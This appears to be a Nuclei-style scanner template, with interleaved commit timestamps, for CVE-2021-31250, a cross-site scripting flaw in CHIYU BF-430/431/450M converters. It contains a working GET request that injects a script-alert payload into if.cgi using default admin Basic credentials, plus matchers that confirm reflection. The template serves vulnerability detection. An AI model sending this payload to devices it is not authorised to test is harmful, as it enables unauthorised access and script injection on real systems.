2021-07-26 17:18:45 +00:00
id : CVE-2021-31250
info :
2022-08-29 13:55:23 +00:00
name : CHIYU TCP/IP Converter - Cross-Site Scripting
2021-07-26 17:18:45 +00:00
author : geeknik
severity : medium
2022-08-29 13:55:23 +00:00
description : CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 12:09:01 +00:00
remediation : |
To mitigate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being rendered in web pages.
2022-04-22 10:38:41 +00:00
reference :
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
2022-05-17 09:18:12 +00:00
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
2022-08-29 13:55:23 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-31250
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.4
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-31250
cwe-id : CWE-79
2024-05-31 19:23:20 +00:00
epss-score : 0.97029
epss-percentile : 0.9975
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : chiyu-tech
product : bf-430_firmware
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,chiyu,xss,iot,intrusive,chiyu-tech
2021-07-26 17:18:45 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-26 17:18:45 +00:00
- method : GET
path :
- "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"
2023-07-11 19:49:27 +00:00
headers :
Authorization : Basic OmFkbWlu
2022-10-07 21:27:25 +00:00
host-redirects : true
2023-07-11 19:49:27 +00:00
2021-07-26 17:18:45 +00:00
matchers-condition : and
matchers :
- type : word
part : header
words :
2023-07-11 19:49:27 +00:00
- text/html
2021-07-26 17:18:45 +00:00
- type : word
part : body
words :
2023-07-11 19:49:27 +00:00
- '"><script>alert({{randstr}})</script>'
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022001068e1ddaf3c98d6733d9d17ce3ca0f27152fa717d76ce4180805b2d3cbc1e0022100f9fea88e57be3c2358133f57b3ff53d4ecb3b4469d87698b45a12f487f25d320:922c64590222798bb761d5b6d8e72950